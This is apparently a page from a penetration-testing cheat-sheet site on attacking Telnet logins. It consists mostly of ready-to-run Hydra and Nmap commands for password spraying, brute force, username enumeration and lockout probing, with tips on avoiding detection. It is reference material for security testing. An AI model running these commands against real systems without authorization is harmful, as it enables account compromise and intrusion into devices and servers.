Skip to content
HackIndex logo

HackIndex

Telnet Credential Attacks

2 min read Mar 11, 2026

Telnet sends credentials plaintext. Success grants shell access on legacy devices or servers. Watch for lockouts; start conservative.

Manual Authentication Testing

Connect and attempt login:

┌──(kali㉿kali)-[~]
└─$ telnet $TARGET_IP 23

Prompts for login/password. Valid creds drop to shell or menu.

Single credential validation:

┌──(kali㉿kali)-[~]
└─$ telnet $TARGET_IP 23 
login: $USERNAME
password: $PASSWORD

Success shows shell prompt or banner change. Failure returns login prompt.

Password Spraying with Hydra

Low-and-slow to avoid detection:

┌──(kali㉿kali)-[~]
└─$ hydra -L users.txt -p Password123 telnet://$TARGET_IP

Single common password across users. Success lines show "login: user password: Password123".

Controlled Brute Force with Hydra

Higher risk; use small lists:

┌──(kali㉿kali)-[~]
└─$ hydra -L users.txt -P passwords.txt telnet://$TARGET_IP -t 4

Parallel tasks limited to avoid lockout. Valid hits appear immediately.

Username enumeration via invalid password:

┌──(kali㉿kali)-[~]
└─$ hydra -L users.txt -p invalid telnet://$TARGET_IP -t 1

Different failure messages or delays indicate valid users.

Rate limiting test:

┌──(kali㉿kali)-[~]
└─$ hydra -l testuser -P small.txt telnet://$TARGET_IP -t 1 -W 5

Wait time reveals lockout thresholds.

Nmap Brute Force Script

Built-in library:

┌──(kali㉿kali)-[~]
└─$ nmap -p 23 --script telnet-brute --script-args userdb=users.txt,passdb=passwords.txt $TARGET_IP

Reports valid combos. Slower but integrated with scanning.

Credential reuse check:

┌──(kali㉿kali)-[~]
└─$ hydra -l $USERNAME -p $PASSWORD telnet://$TARGET_IP

Quick validation after success elsewhere. Shell access enables pivoting or config dumps.